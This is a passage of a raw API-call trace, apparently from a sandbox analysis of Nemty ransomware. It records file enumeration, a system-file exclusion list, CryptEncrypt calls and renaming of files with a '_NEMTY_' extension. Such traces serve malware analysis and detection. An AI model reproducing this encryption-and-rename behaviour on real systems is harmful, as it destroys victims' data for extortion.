[0088.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.503] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.512] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.512] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.518] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.518] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.524] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.524] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0088.525] CloseHandle (hObject=0xffffffff) returned 0 [0088.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0088.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0088.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0088.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0088.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0088.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0088.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0088.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0088.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0088.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0088.525] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png._nemty_kgobjgd_")) returned 0 [0088.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0088.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0088.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0088.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0088.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0088.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0088.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0088.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0088.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0088.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.525] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 1 [0088.525] lstrcmpiW (lpString1="whitevignette1047.png", lpString2=".") returned 1 [0088.525] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="..") returned 1 [0088.525] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="...") returned 1 [0088.525] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="windows") returned -1 [0088.525] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="$RECYCLE.BIN") returned 1 [0088.526] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="rsa") returned 1 [0088.526] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="NTDETECT.COM") returned 1 [0088.526] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="ntldr") returned 1 [0088.526] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="MSDOS.SYS") returned 1 [0088.526] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="IO.SYS") returned 1 [0088.526] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="boot.ini") returned 1 [0088.526] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="boot.ini") returned 1 [0088.526] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="AUTOEXEC.BAT") returned 1 [0088.526] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="ntuser.dat") returned 1 [0088.526] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="desktop.ini") returned 1 [0088.526] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="CONFIG.SYS") returned 1 [0088.526] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="RECYCLER") returned 1 [0088.526] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="BOOTSECT.BAK") returned 1 [0088.526] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="bootmgr") returned 1 [0088.526] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="programdata") returned 1 [0088.526] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="appdata") returned 1 [0088.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0088.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitevignette1047.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0088.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitevignette1047.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="whitevignette1047.png", lpUsedDefaultChar=0x0) returned 21 [0088.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0088.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitevignette1047.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0088.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitevignette1047.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="whitevignette1047.png", lpUsedDefaultChar=0x0) returned 21 [0088.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0088.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0088.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0088.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitevignette1047.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0088.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitevignette1047.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="whitevignette1047.png", lpUsedDefaultChar=0x0) returned 21 [0088.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0088.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0088.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitevignette1047.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0088.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0088.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitevignette1047.png", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="whitevignette1047.png", lpUsedDefaultChar=0x0) returned 21 [0088.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0088.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0088.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0088.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94358 [0088.527] Sleep (dwMilliseconds=0x5) [0088.528] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe869dfd0, dwHighDateTime=0x1d561e7)) [0088.528] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe869dfd0, dwHighDateTime=0x1d561e7)) [0088.528] GetLastError () returned 0x5 [0088.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0088.528] GetLastError () returned 0x5 [0088.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0088.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0088.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0088.528] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0088.528] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0088.528] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0088.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0088.528] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="7tx6Jh66wNpIV1hk8LPM/0FXGHdfp6nmKy+z95950P9/2PvF0fBsEnvYgQYBQbvi\r\nc2mnsSJSAbeMBLxw7A6VpFICXw/VKqEM7tXAjRDeuOMhnj6Pleq8ynEfkE02PO2m\r\ngfAPKRiE3bRt824nkGZSIu3xE19NAoLOKtH3VualziCaAHlak7cTIATB2z5Gbin2\r\nsmr8VMaZ5/1vTvalbLCoHHlibme79IIfJ50BIjiGuZ/1HVsXTnd1EThSAqZB20nW\r\n9OrmODCUYV8Mu1oUtCSHNr7lhkTYX808/zWeIQOWzOWsWD36X3q/koIeYGXJ6iwq\r\n9QvgrBhFfBpfU/V9UwLuqA==\r\n", pcchString=0x653e91c) returned 1 [0088.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0088.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0088.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0088.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0088.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0088.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0088.528] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0088.529] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0088.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0088.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.529] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.538] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.538] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.548] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.548] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.557] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.557] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.568] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.568] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.578] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.587] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.587] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.587] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.587] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.597] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.597] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.606] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.606] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.616] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.616] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.625] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.625] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.631] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.637] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.637] 